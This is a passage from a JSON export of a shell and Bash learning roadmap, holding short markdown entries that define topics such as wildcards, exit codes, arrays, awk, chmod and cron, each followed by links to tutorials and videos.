    "content": "# Asterisk Wildcard\n\nThe asterisk (\\*) is a wildcard character that represents zero or more characters. It's used in commands and file paths to match multiple files or directories based on a pattern. For example, `*.txt` will match all files ending with \".txt\", and `data*` will match files or directories starting with \"data\".\n\nVisit the following resources to learn more:\n\n- [@article@Wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm)\n- [@article@Wildcard characters in Shell Script Linux](https://nkugwamarkwilliam.medium.com/wildcard-characters-in-shell-script-linux-6e885b624565)\n- [@video@Bash Globbing Basics! How to use wildcards on the shell](https://www.youtube.com/watch?v=gsucx2W-9sg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@hoRtqMV7B23bBJFI-RWRB.md",
    "content": "# Number of Script Arguments ($#)\n\n`$#` is a special variable in shell scripting that represents the number of arguments passed to a script when it is executed. It's a simple integer value that allows you to determine how many inputs the user provided when running your script, enabling you to write logic that handles different scenarios based on the number of arguments.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Special Parameters in Linux Shell Scripting](https://medium.com/@tradingcontentdrive/understanding-special-parameters-in-linux-shell-scripting-0-62768f49fb34)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@hxjqlxolS_ahtro4T0EKG.md",
    "content": "# Exit Codes and $?\n\nExit codes are numerical values returned by a program or script upon completion, signaling whether it executed successfully or encountered an error. The special variable `$?` in Bash stores the exit code of the most recently executed command. A value of 0 typically indicates success, while any non-zero value signifies failure, with different numbers often representing specific error types.\n\nVisit the following resources to learn more:\n\n- [@article@$? - Linux Bash Shell Scripting Tutorial Wiki](https://bash.cyberciti.biz/guide/$%3F)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@mYg9d8e0_XjtXBqBYtaaL.md",
    "content": "# Curly Braces Wildcards\n\nCurly braces `{}` are used for multiple matches. Each string can be an exact name, or a wildcard. It will find anything that matches any of the given strings using an or relationship (one OR the other). For example, `touch file{1,2,3}.txt` will create three files: `file1.txt`, `file2.txt`, and `file3.txt`.\n\nVisit the following resources to learn more:\n\n- [@article@Standard Wildcards / Globbing Patterns in Linux](https://www.putorius.net/standard-wildcards-globbing-patterns-in.html)\n- [@video@wildcards in linux | asterisk , question mark , square brackets , curly brackets , escape character](https://www.youtube.com/watch?v=_J9JwnIzJ9o)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/@qG71FX6DwRm1rdtjtN78u.md",
    "content": "# Wildcard Question Mark (?)\n\nThe question mark (?) wildcard is a single-character wildcard. It matches exactly one occurrence of any character. This means that when used in a pattern, it will be replaced by any single character in a filename or string, allowing you to match files or strings with slight variations in their names or content.\n\nVisit the following resources to learn more:\n\n- [@article@How To Use Unix Wildcards](https://www.warp.dev/terminus/linux-wildcards)\n- [@article@Wildcard characters in Shell Script Linux](https://nkugwamarkwilliam.medium.com/wildcard-characters-in-shell-script-linux-6e885b624565)\n- [@video@Bash Globbing Basics! How to use wildcards on the shell](https://www.youtube.com/watch?v=gsucx2W-9sg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/apt@nfyh2co43xfR9DJbNnM_Y.md",
    "content": "# apt\n\n`apt` (Advanced Package Tool) is a command-line package management system used primarily on Debian-based Linux distributions like Ubuntu. It simplifies the process of installing, updating, removing, and managing software packages by retrieving them from configured repositories and handling dependencies automatically. `apt` provides a user-friendly interface for interacting with the underlying Debian package management system (`dpkg`).\n\nVisit the following resources to learn more:\n\n- [@article@apt Command in Linux](https://linuxize.com/post/how-to-use-apt-command/)\n- [@article@apt Linux Command with Examples](https://phoenixnap.com/kb/apt-linux)\n- [@video@Linux Crash Course - The apt Command](https://www.youtube.com/watch?v=1kicKTbK768)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/arithmetic-expansion@LHoR6krZTuJW5BGiKf_AT.md",
    "content": "# Arithmetic Expansion\n\nArithmetic expansion allows you to perform mathematical calculations directly within your shell scripts. It uses the `$((...))` syntax to evaluate expressions, treating the contents inside the parentheses as an arithmetic expression. This enables you to perform operations like addition, subtraction, multiplication, division, and modulo, and assign the results to variables or use them in conditional statements.\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetic Expansion (Bash Reference Manual)](https://www.gnu.org/software/bash/manual/html_node/Arithmetic-Expansion.html)\n- [@article@Bash Math Operations (Bash Arithmetic) Explained {+11 Examples}](https://phoenixnap.com/kb/bash-math)\n- [@video@Arithmetic Expressions - Bash Programming Tutorial 4](https://www.youtube.com/watch?v=rjuB3X8MOQc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/arithmetic@60ika3rjs42VIk-3AcOdq.md",
    "content": "# Arithmetic Operators in Bash\n\nArithmetic operators in Bash are symbols used to perform mathematical calculations within shell scripts. These operators allow you to add, subtract, multiply, divide, and find the remainder of numbers directly within your scripts, enabling you to perform calculations and manipulate numerical data. Bash primarily uses integer arithmetic, but there are ways to work with floating-point numbers as well.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Math Operations (Bash Arithmetic) Explained](https://phoenixnap.com/kb/bash-math)\n- [@article@Bash Operators](https://www.w3schools.com/bash/bash_operators.php)\n- [@video@Arithmetic Expressions - Bash Programming Tutorial](https://www.youtube.com/watch?v=rjuB3X8MOQc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/arrays@4WFWrrcvLgU8Fz8RjQ4lf.md",
    "content": "# Arrays\n\nArrays are ordered collections of elements, where each element can be accessed using an index. They allow you to store multiple values under a single variable name, making it easier to manage and manipulate related data. In Bash, arrays can hold strings or numbers, and they are indexed starting from zero.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Arrays](https://www.w3schools.com/bash/bash_arrays.php)\n- [@video@Arrays in Pure Bash - You Suck at Programming](https://www.youtube.com/watch?v=r4Sc-DpIprk)\n- [@video@Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional](https://www.youtube.com/watch?v=asHJ-xfuyno)\n"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/associative-arrays@YM7wA4MgeailSoXR_03Qx.md",
    "content": "# Associative Arrays\n\nAssociative arrays, also known as dictionaries or hash maps in other programming languages, are data structures that store key-value pairs. Unlike regular arrays which use numerical indexes to access elements, associative arrays use strings (or other data types in some languages) as keys. This allows you to retrieve values based on meaningful names rather than just positions.\n\nVisit the following resources to learn more:\n\n- [@article@Associative arrays in Bash](https://rednafi.com/misc/associative-arrays-in-bash/)\n- [@article@Creating And Using An Associative Array In A Bash Script | by Linux Root Room](https://medium.com/@linuxrootroom/create-and-use-associative-array-in-bash-script-5f4e32a00577)\n- [@video@Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional](https://www.youtube.com/watch?v=asHJ-xfuyno)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/at@Wny7lCxP2M1FaoUYDD7Gf.md",
    "content": "# at\n\nThe `at` command in Unix-like operating systems is used to schedule commands to be executed at a specific time. It allows you to specify a time and date, and then provide a command that will be run automatically at that designated time. This is useful for automating tasks that need to be performed at a later time without requiring manual intervention.\n\nVisit the following resources to learn more:\n\n- [@article@At Command in Linux](https://linuxize.com/post/at-command-in-linux/)\n- [@article@How to Use the Linux at Command](https://phoenixnap.com/kb/linux-at-command)\n- [@video@How to Use The \"at\" Command On Linux](https://www.youtube.com/watch?v=0Lvvw4yA6Ag)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/awk@GXF6SSkYtVyGYB_LFSIpe.md",
    "content": "# Awk for Numeric Operations\n\nAwk is a powerful text processing tool that can also perform numeric calculations. It reads input line by line and executes a set of instructions for each line. These instructions can include arithmetic operations, comparisons, and variable assignments, making awk useful for tasks like calculating sums, averages, and performing other data manipulations directly within the shell.\n\nVisit the following resources to learn more:\n\n- [@article@How To Use awk In Bash Scripting](https://www.cyberciti.biz/faq/bash-scripting-using-awk/)\n- [@article@Bash awk - Pattern Scanning and Processing Language](https://www.w3schools.com/bash/bash_awk.php)\n- [@video@Learning Awk Is Essential For Linux Users](https://www.youtube.com/watch?v=9YOZmI-zWok)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/awk@Jh1gVJvhe-H22VB4hnbuU.md",
    "content": "# awk\n\n`awk` is a powerful text processing tool in Unix-like operating systems. It scans input files line by line, searching for lines that match a specified pattern. When a matching line is found, `awk` performs a specified action on that line, such as printing it, modifying it, or extracting specific fields. It's particularly useful for manipulating data within files and generating reports.\n\nVisit the following resources to learn more:\n\n- [@article@AWK command in Linux/Unix | DigitalOcean](https://www.digitalocean.com/community/tutorials/awk-command-linux-unix)\n- [@article@The Linux AWK Command – Linux and Unix Usage Syntax Examples](https://www.freecodecamp.org/news/the-linux-awk-command-linux-and-unix-usage-syntax-examples/)\n- [@video@Linux Crash Course - awk](https://www.youtube.com/watch?v=oPEnvuj9QrI)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/background-jobs@Zjn5u1IUWqyyya4c2cHiP.md",
    "content": "# Background jobs"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash--n@_UDEyH6hECoOoXcbcXTLy.md",
    "content": "# Bash -n\n\nThe `bash -n` option is a debugging tool that allows you to perform a syntax check on your Bash script without actually executing it. This is useful for identifying errors like typos, missing keywords, or incorrect syntax before running the script and potentially causing unintended consequences. It essentially parses the script and reports any syntax errors it finds.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Script ‘-n’ Operator Explained: Evaluating Expressions](https://ioflood.com/blog/n-flag-in-bash/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash-alias@LlxpR2LiAr9uKMXEXTk0H.md",
    "content": "# Bash Alias\n\nA Bash alias is a shortcut or a custom name you assign to a command or a sequence of commands. Instead of typing a long command every time, you can create an alias that represents it. When you type the alias in the terminal, Bash replaces it with the original command before executing it. This simplifies command-line usage and improves efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Alias](https://www.w3schools.com/bash/bash_alias.php)\n- [@video@Linux Crash Course - Bash Aliases](https://www.youtube.com/watch?v=Ok_kD_sgNcs)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash-data-types@vM0Y4fao-pNjNjWYCJve3.md",
    "content": "# Bash Data Types\n\nBash, unlike some other programming languages, doesn't have explicit data types like integers, floats, or strings that you need to declare. Instead, everything is treated as a string. However, Bash can perform arithmetic operations on strings that contain numbers, effectively treating them as numerical values when needed. Arrays are also supported, allowing you to store collections of string values.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Data Types](https://www.w3schools.com/bash/bash_data_types.php)\n- [@article@The Type System of Bash](https://www.celantur.com/blog/bash-type-system/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash-debug@6hXvAV0R7FlJ8UkQzRzMZ.md",
    "content": "# Bash Debug\n\nThe Bash Debug extension for VS Code, powered by `bashdb`, allows you to debug Bash scripts directly within the VS Code editor. It provides features like breakpoints, stepping through code, inspecting variables, and evaluating expressions, making it easier to identify and fix errors in your Bash scripts. This helps streamline the debugging process, offering a more visual and interactive experience compared to traditional methods like using `set -x` or `echo` statements.\n\nVisit the following resources to learn more:\n\n- [@official@vscode-bash-debug](https://github.com/rogalmic/vscode-bash-debug)\n- [@official@Bash Debug](https://marketplace.visualstudio.com/items?itemName=rogalmic.bash-debug)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash-operators@Co0k7A7MyQoELnPwPU10m.md",
    "content": "# Bash Operators\n\nBash operators are special symbols or characters that perform specific actions or comparisons within a Bash script or command line. They are fundamental building blocks for controlling program flow, manipulating data, and performing various operations like arithmetic calculations, string comparisons, file manipulations, and logical evaluations. Understanding and using these operators effectively is crucial for writing robust and efficient Bash scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Operators](https://www.w3schools.com/bash/bash_operators.php)\n- [@article@Operators](https://tldp.org/LDP/abs/html/ops.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash-script-anatomy@nMFXyeZ8I5jAPfs16Jixn.md",
    "content": "# Bash Script Anatomy\n\nA Bash script is essentially a plain text file containing a series of commands that the Bash interpreter executes sequentially. It typically starts with a shebang line specifying the interpreter to use, followed by comments explaining the script's purpose, and then the actual commands that perform the desired actions, including variable assignments, control structures (like loops and conditional statements), and function definitions.\n\nVisit the following resources to learn more:\n\n- [@course@Bash Scripting](https://linuxhandbook.com/courses/bash/)\n- [@article@Bash Script](https://www.w3schools.com/bash/bash_script.php)\n- [@article@How to Write a Bash Script: A Simple Bash Scripting Tutorial | DataCamp](https://www.datacamp.com/tutorial/how-to-write-bash-script-tutorial)\n- [@video@Bash Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=tK9Oc6AEnR4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bash@EqgAG1t05RuiAO1TXRq4Y.md",
    "content": "# Bash\n\nBash, short for Bourne Again Shell, is a command-line interpreter and a shell scripting language. It's a program that allows users to interact with the operating system by typing commands. Bash interprets these commands and instructs the operating system to perform specific actions, making it a fundamental tool for system administration, automation, and software development.\n\nVisit the following resources to learn more:\n\n- [@article@https://en.wikipedia.org/wiki/Bash_(Unix_shell)#:~:text=Bash (short for \"Bourne Again,Chet Ramey)](https://en.wikipedia.org/wiki/Bash_(Unix_shell)#:~:text=Bash%20(short%20for%20%22Bourne%20Again,Chet%20Ramey))\n- [@article@Bash Tutorial](https://www.w3schools.com/bash/)\n- [@video@Bash Scripting Full Course 3 Hours](https://www.youtube.com/watch?v=e7BufAVwDiM)\n- [@video@Bash Scripting Tutorial for Beginners](https://www.youtube.com/watch?v=tK9Oc6AEnR4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/basic-editor-ops@WbZu0zM2d56LiGauOp8ub.md",
    "content": "# Basic Editor Operations\n\nBasic editor operations involve fundamental actions performed within a text editor to create, modify, and manage files. These operations include opening, saving, and closing files, as well as inserting, deleting, copying, and pasting text. Navigating through a file, searching for specific content, and replacing text are also key components of basic editor operations.\n\nVisit the following resources to learn more:\n\n- [@article@Beginner's Guide to Nano Text Editor](https://itsfoss.com/nano-editor-guide/)\n- [@article@GNU Emacs - Guided Tour](https://www.gnu.org/software/emacs/tour/)\n- [@article@Classic SysAdmin: Vim 101: A Beginner’s Guide to Vim](https://www.linuxfoundation.org/blog/blog/classic-sysadmin-vim-101-a-beginners-guide-to-vim)\n- [@article@An introduction to the vi editor](https://www.redhat.com/en/blog/introduction-vi-editor)\n- [@video@Linux Crash Course - nano (command-line text editor)](https://www.youtube.com/watch?v=DLeATFgGM-A)\n- [@video@The Basics of Emacs as a Text Editor](https://www.youtube.com/watch?v=jPkIaqSh3cA)\n- [@video@Vim As Your Editor - Introduction](https://www.youtube.com/watch?v=X6AR2RMB5tE)\n- [@video@Basics of VI editor in under 8 minutes | Vi editor Tutorial | Linux Tutorial for Beginners](https://www.youtube.com/watch?v=-_DvfdgR-LA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/basic-regex-syntax@qNsNJrqwsGtumOM2STB8u.md",
    "content": "# Basic Regex Syntax\n\nRegular expressions (regex) are sequences of characters that define a search pattern. They are used to match, locate, and manipulate text based on patterns. Basic regex syntax involves using special characters and metacharacters to represent different types of patterns, such as specific characters, character classes, repetitions, and anchors within a string. These patterns are then used by tools like `grep`, `sed`, and `awk` to perform powerful text processing tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Regular expressions](https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_04_01.html)\n- [@article@Regular expressions](https://computing.stat.berkeley.edu/tutorial-using-bash/regex.html)\n- [@article@Bash Regex Tutorial for Beginners (regular expressions)](https://www.fullstackfoundations.com/blog/bash-regex)\n- [@video@Regular Expressions for Beginners](https://www.youtube.com/watch?v=NhcaKdt3NdM)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bc@B2g_optsVEtw-5vRYIpgb.md",
    "content": "# bc\n\n`bc` is a command-line utility for arbitrary-precision arithmetic. It allows you to perform calculations with numbers of any size and with a specified level of decimal precision, making it suitable for tasks where standard shell arithmetic is insufficient. `bc` can be used interactively or non-interactively, reading expressions from standard input or from files.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Handbook | bc command in Linux](https://linuxhandbook.com/bc-command/)\n- [@article@Linux bc Command with Examples](https://phoenixnap.com/kb/linux-bc)\n- [@video@Shell Scripting Tutorial for Beginners 11 - Floating point math operations in bash | bc Command](https://www.youtube.com/watch?v=yqpY-Wk-i9k)\n"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/break-continue@Wl39zpLh6alsMkn0YZ9-N.md",
    "content": "# Break and Continue in Loops\n\n`break` and `continue` are control flow statements used within loops to alter their execution. The `break` statement immediately terminates the loop, transferring control to the next statement after the loop. The `continue` statement skips the rest of the current iteration of the loop and proceeds to the next iteration.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Loops](https://www.w3schools.com/bash/bash_loops.php)\n- [@article@Bash break and continue](https://linuxize.com/post/bash-break-continue/)\n- [@article@Break and continue](https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_09_05.html)\n- [@video@Shell Scripting Tutorial - Break & Continue Statement](https://www.youtube.com/watch?v=3Dg6j_zSk_0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/brew@d8jGE833q0Wf6gB3DZil4.md",
    "content": "# Homebrew\n\nHomebrew is a package manager for macOS (and Linux). It simplifies the installation of software on these operating systems by automating the process of downloading, compiling, and installing software packages from the command line. It's often used to install tools and utilities that aren't included by default in the operating system.\n\nVisit the following resources to learn more:\n\n- [@official@brew](https://brew.sh/)\n- [@article@How To Install and Use Homebrew on Linux](https://www.digitalocean.com/community/tutorials/how-to-install-and-use-homebrew-on-linux)\n- [@video@Homebrew Tutorial: Simplify Software Installation on Mac Using This Package Manager](https://www.youtube.com/watch?v=SELYgZvAZbU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/bzip2-xz@qedrcO4QA2ZxV24l0Q6Or.md",
    "content": "# bzip2 and xz\n\n`bzip2` and `xz` are command-line tools used for file compression in Unix-like operating systems. They reduce the size of files, making them easier to store and transfer. `bzip2` generally offers higher compression than `gzip` but is slower, while `xz` provides even better compression ratios and is often used for distributing software packages, though it can be slower than both `gzip` and `bzip2`.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to the Linux bzip2 Command With Examples](https://www.baeldung.com/linux/bzip2-guide)\n- [@article@Learn XZ (Lossless Data Compression Tool) in Linux with Examples](https://www.tecmint.com/xz-command-examples-in-linux/)\n- [@video@Learn About These Tools!! Compressing and Archiving Files in the Linux Console (tar, xz, bzip2, zip)](https://www.youtube.com/watch?v=d4PAEbHcLVg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/case-conversion@cBJbM6nl0Dy9Ru5hruzpK.md",
    "content": "# Case Conversion\n\nCase conversion involves changing the case of characters within a string. This typically means converting lowercase letters to uppercase, uppercase letters to lowercase, or applying title case (where the first letter of each word is capitalized). It's a common operation for standardizing data, improving readability, or fulfilling specific formatting requirements.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Shell Convert Uppercase to Lowercase in Linux](https://www.cyberciti.biz/faq/linux-unix-shell-programming-converting-lowercase-uppercase/)\n- [@article@How to Transform Text Case in Bash](https://labex.io/tutorials/shell-how-to-transform-text-case-in-bash-391560)\n- [@video@Bash Shell Scripting For Beginners - Case Statement](https://www.youtube.com/watch?v=DA-Ilf15_r8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/case@SSSVVAve99X8FZX9vtHlo.md",
    "content": "# Case Statements\n\nCase statements provide a way to execute different blocks of code based on the value of a variable or expression. They offer a structured alternative to multiple `if-elif-else` statements, making code more readable and maintainable when dealing with several possible conditions. Each condition is associated with a specific pattern, and when the variable's value matches a pattern, the corresponding code block is executed.\n\nVisit the following resources to learn more:\n\n- [@article@Case statements](https://linuxize.com/post/bash-case-statement/)\n- [@article@Using case statements](https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_07_03.html)\n- [@video@Bash Shell Scripting For Beginners - Case Statement](https://www.youtube.com/watch?v=DA-Ilf15_r8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cat@Zom0OpBLi153i8hkoYLj5.md",
    "content": "# cat\n\n`cat` is a command-line utility that is primarily used to display the contents of one or more files on the standard output (usually your terminal screen). It can also be used to concatenate files, meaning to combine them into a single output stream. The name \"cat\" is short for \"concatenate.\"\n\nVisit the following resources to learn more:\n\n- [@article@Bash cat Command - Concatenate and Display Files](https://www.w3schools.com/bash/bash_cat.php)\n- [@video@The cat Command in Linux (Featuring Real Cats) - Linux Crash Course Series](https://www.youtube.com/watch?v=z3nJlyrJYW4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cd@9A6SE89by-1I2HmpGarLj.md",
    "content": "# cd\n\n`cd` is a fundamental command used to change the current working directory in a shell environment. It allows you to navigate through the file system, moving from one directory to another. By specifying a target directory as an argument, `cd` updates the shell's internal record of the current location, affecting subsequent commands that operate relative to that location.\n\nVisit the following resources to learn more:\n\n- [@article@Bash cd - Change Directory](https://www.w3schools.com/bash/bash_cd.php)\n- [@video@There's more to learn about the \"cd\" command. Lil' Linux Lesson!](https://www.youtube.com/watch?v=ZRlQxx1rmng)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/chgrp@zaXwK7xPsrULce1yJwhB_.md",
    "content": "# chgrp\n\n`chgrp` is a command-line utility used to change the group ownership of a file or directory. It allows you to specify a new group that should be associated with the file, controlling which users have specific access rights based on group membership. This is a fundamental tool for managing file access and security in Unix-like operating systems.\n\nVisit the following resources to learn more:\n\n- [@article@Permisions](https://linuxcommand.org/lc3_lts0090.php)\n- [@video@Linux Crash Course - Understanding File Permissions](https://www.youtube.com/watch?v=4N4Q576i3zA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/chmod@qrqPo-pgzupCK0IxlGn7S.md",
    "content": "# chmod\n\n`chmod` is a command-line utility used to change the access permissions of files or directories. These permissions determine who can read, write, or execute a file. It allows you to control access to your files, ensuring security and proper functionality within a system.\n\nVisit the following resources to learn more:\n\n- [@article@Permissions](https://linuxcommand.org/lc3_lts0090.php)\n- [@video@Linux Crash Course - Understanding File Permissions](https://www.youtube.com/watch?v=4N4Q576i3zA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/chown@w95b7f3-7Q8qtTpyJih6B.md",
    "content": "# chown\n\n`chown` is a command-line utility used to change the ownership of files or directories. It allows you to modify the user and/or group associated with a file, effectively controlling who has access and what they can do with it. This is crucial for managing security and access control within a Linux or Unix-like operating system.\n\nVisit the following resources to learn more:\n\n- [@article@Permissions](https://linuxcommand.org/lc3_lts0090.php)\n- [@video@Linux Crash Course - Understanding File Permissions](https://www.youtube.com/watch?v=4N4Q576i3zA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cli-vs-gui@86QR-PVqgvvyvJvgTIer-.md",
    "content": "# CLI vs GUI\n\nA Command Line Interface (CLI) is a text-based interface used to interact with a computer system by typing commands. A Graphical User Interface (GUI), on the other hand, utilizes visual elements such as windows, icons, and menus to enable users to interact with the system using a mouse, touchpad, or touchscreen.\n\nVisit the following resources to learn more:\n\n- [@article@What is a CLI (Command Line Interface)?](https://aws.amazon.com/what-is/cli/)\n- [@article@What Is a GUI?](https://www.coursera.org/articles/gui)\n- [@video@What's the difference between a GUI and a CLI?](https://www.youtube.com/watch?v=w9u0d4C95Zs)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cmd@C7HE5jpaSIUqm6L8b9orY.md",
    "content": "# cmd\n\ncmd, also known as the Command Prompt, is the default command-line interpreter on Windows operating systems. It allows users to interact with the operating system by entering text-based commands. These commands can be used to navigate the file system, execute programs, and perform various system administration tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Command Line Commands – CLI Tutorial](https://www.freecodecamp.org/news/command-line-commands-cli-tutorial/)\n- [@article@cmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/command-substitution@BuOM-A5110MPv8325EQnM.md",
    "content": "# Command Substitution\n\nCommand substitution allows you to use the output of a command as an argument to another command. It essentially captures the standard output of a command and inserts it into the command line of another command, enabling you to dynamically generate arguments or values based on the results of other commands. This is useful for tasks like assigning the output of a command to a variable, using the output as input to another command, or constructing complex command lines.\n\nVisit the following resources to learn more:\n\n- [@article@Command substitution](https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html)\n- [@article@Command substitution - Wikipedia](https://en.wikipedia.org/wiki/Command_substitution)\n- [@video@How to use Command Substitution in Bash](https://www.youtube.com/watch?v=b8U_fz0pc-g)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/comments@sYzelzBxQUcz5bK1HVWam.md",
    "content": "# Comments\n\nComments are explanatory notes added to code to make it easier to understand. They are ignored by the interpreter or compiler, meaning they don't affect how the program runs. They are primarily for human readers to understand the purpose and logic behind the code.\n\nVisit the following resources to learn more:\n\n- [@article@Writing Comments in Bash Scripts](https://linuxize.com/post/bash-comments/)\n- [@article@How to Comment in Bash](https://phoenixnap.com/kb/bash-comment)\n- [@video@Comments - Bash Scripting](https://www.youtube.com/watch?v=Ky9AiwIeORA)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/comparison@XUDkgfURAsI_A3v3EPZA_.md",
    "content": "# Comparison Operators in Bash\n\nComparison operators in Bash are used to compare values, typically numbers or strings. These operators allow you to create conditional statements within your scripts, enabling different code blocks to execute based on whether a comparison is true or false. They are fundamental for making decisions and controlling the flow of execution in your Bash scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Other Comparison Operators](https://tldp.org/LDP/abs/html/comparison-ops.html)\n- [@article@Bash Operators](https://www.w3schools.com/bash/bash_operators.php)\n- [@article@Shell Scripting: Comparison Operators and If Statements](https://medium.com/@kadimasam/shell-scripting-comparison-operators-and-if-statements-9e0277fd60b8)\n- [@video@Comparison Operators and Square Brackets - Bash Programming Tutorial](https://www.youtube.com/watch?v=XSLj65wnP90)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/conditionals@tEaYnBeI5tO8NT-a1PG3B.md",
    "content": "# Conditionals\n\nConditionals in shell scripting allow you to execute different blocks of code based on whether a certain condition is true or false. This enables your scripts to make decisions and respond dynamically to different situations, making them more versatile and powerful. Common conditional statements include `if`, `elif` (else if), and `else`, which are used to control the flow of execution based on the evaluation of expressions.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Conditional Expressions (Bash Reference Manual)](https://www.gnu.org/software/bash/manual/html_node/Bash-Conditional-Expressions.html)\n- [@article@Bash If...Else](https://www.w3schools.com/bash/bash_conditions.php)\n- [@video@How To Write Bash Scripts In Linux - Complete Guide (Part 5 - If Statements)](https://www.youtube.com/watch?v=YrE1Qg-Aw0Q)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cp@gCPCTm96RrFeNM_Ok4TAY.md",
    "content": "# cp Command\n\nThe `cp` command in Unix-like operating systems is used to copy files and directories from one location to another. It creates an exact duplicate of the source file or directory at the specified destination, leaving the original intact. The command can be used to copy single files, multiple files, or entire directory structures.\n\nVisit the following resources to learn more:\n\n- [@article@Bash cp - Copy Files and Directories](https://www.w3schools.com/bash/bash_cp.php)\n- [@video@Linux Command Line Tutorial For Beginners 8 - cp command](https://www.youtube.com/watch?v=Bnx_GAHM0wo)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/create-print-modify@4leZS9_-GAbx5ycMQosOX.md",
    "content": "# Variables in Shell Scripting\n\nVariables in shell scripting are named storage locations that hold data. You can create a variable by assigning a value to a name. Printing a variable displays its stored value, and modifying a variable involves changing the value it holds, allowing you to update data within your scripts dynamically.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Shell Script Variables - The Shell Scripting Tutorial](https://www.shellscript.sh/variables1.html)\n- [@article@Unix Tutorial #4: Shells and Path Variables — Andy's Brain Book 1.0 documentation](https://andysbrainbook.readthedocs.io/en/latest/unix/Unix_04_ShellsVariables.html)\n- [@article@Unix / Linux - Using Shell Variables](https://www.tutorialspoint.com/unix/unix-using-variables.htm)\n- [@video@How To Use Shell Environment Variables](https://www.youtube.com/watch?v=9ZpL8iDU7LY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cron-crontab@QGDwieDblgpS6U0n_Ivt8.md",
    "content": "# cron and crontab\n\ncron is a time-based job scheduler in Unix-like operating systems. It allows users to schedule tasks (commands or scripts) to run automatically at specific times, dates, or intervals. The crontab (cron table) is a file that contains the schedule of cron jobs for a user. Each user has their own crontab file, and the system also has a system-wide crontab for administrative tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Bash crontab Command - Schedule Tasks](https://www.w3schools.com/bash/bash_cron.php)\n- [@article@What is a cron job: understanding cron syntax and how to configure cron jobs](https://www.hostinger.com/tutorials/cron-job)\n- [@video@Linux Crash Course - Scheduling Tasks with Cron](https://www.youtube.com/watch?v=7cbP7fzn0D8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/curl@ZWMGvUxnohv6-dzsaSHuB.md",
